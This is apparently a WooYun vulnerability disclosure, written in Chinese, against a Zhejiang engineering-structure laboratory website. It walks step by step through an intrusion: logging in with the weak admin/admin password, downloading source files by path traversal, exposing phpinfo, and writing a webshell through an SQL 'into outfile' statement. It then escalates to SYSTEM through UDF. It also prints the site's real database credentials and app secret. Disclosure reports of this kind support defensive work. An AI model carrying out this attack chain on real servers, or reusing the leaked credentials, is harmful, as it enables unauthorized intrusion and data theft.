WooYun.org

浙江省工程结构与防灾减灾技术研究重点实验室
http://**.**.**.**/
后台弱口令admin/admin
http://**.**.**.**/admincp.php?mod=login
登录后后台无法绕过上传php文件，看到了数据库备份，也无法备份512字节文件名绕过sql后缀，随便点，发现数据库下载的url为：
**.**.**.**/admincp.php?mod=down&path=data%2Fbakup%2F&file=bak_20151105112040.sql
经过尝试，存在任意文件下载，把代码下来
http://**.**.**.**/admincp.php?mod=down&path=data/bakup/&file=../../index.php
还有admincp.php登入页面也下载下来
http://**.**.**.**/admincp.php?mod=down&path=data/bakup/&file=../../admincp.php
源代码审计

13. $a = base::g('a'); // action
34. if ($a=='phpinfo') {
35. 	phpinfo();exit();
36. }

所以传入参数a=phpinfo可以查看信息
http://**.**.**.**/admincp.php?a=phpinfo
找到物理路径D:\wwwroot\

审计源代码，发现这个文件可以执行命令
http://**.**.**.**/admincp.php?mod=down&path=data/bakup/&file=../../admin/admin_database.php
存在命令执行

if (base::g('mode') == 'execute') {
	base::issubmit();
	$content = trim(stripslashes(base::p('content')));
	if ($content == '') base::alert('您没有输入SQL语句，无法执行。');
	$str=str_replace("\r","",str_replace('###_',DB_PREFIX,$content));
	$sqlarr=explode(";\n",trim($str));
	$conn = mysql_connect(DB_HOST.":".DB_PORT,DB_USER,DB_PASSWORD) or exit('Connection err!');
	mysql_select_db(DB_NAME,$conn) or exit('Select database err!');
	mysql_query("set names 'utf8'");
	$count = count($sqlarr);
	$err = 0;
	$err_sql = '';
	for ($i = 0; $i < $count; $i++) {
		$sql = str_replace("\n",' ',$sqlarr[$i]);
		if (!mysql_query($sql,$conn)) {
			$err_status = mysql_errno($conn) . ", " . mysql_error($conn);
			$err++;
			$err_sql .= $sql."(Error: ".$err_status.")\\n----------------------------------------\\n";
		}
	}
	if ($err>0) {
		$err_sql = "但以下语句没有被执行，请检查：\\n----------------------------------------\\n ".$err_sql;
	}
	base::alert('SQL语句已经执行！'.$err_sql,'?mod=admin_database&action=execute');
}

只要对admin/admin_database.php?传入参数action=execute,而且POST包含sql查询语句content数据就可以执行

利用前面找到的物理路径，写入一句话
select 一句话into outfile "D:\\wwwroot\\back.php";
查看配置文件mysql
define('APP_SAFECODE','AdgnDBxKK9');
define('DB_HOST','localhost');
define('DB_PORT','3306');
define('DB_NAME','zjgcjg');
define('DB_USER','root');
define('DB_PASSWORD','zj2015');
define('DB_PREFIX','web_');
define('DB_ENGINE_NAME','mysqli');
define('WEB_DIR','/');
直接udf提权
拿到system 权限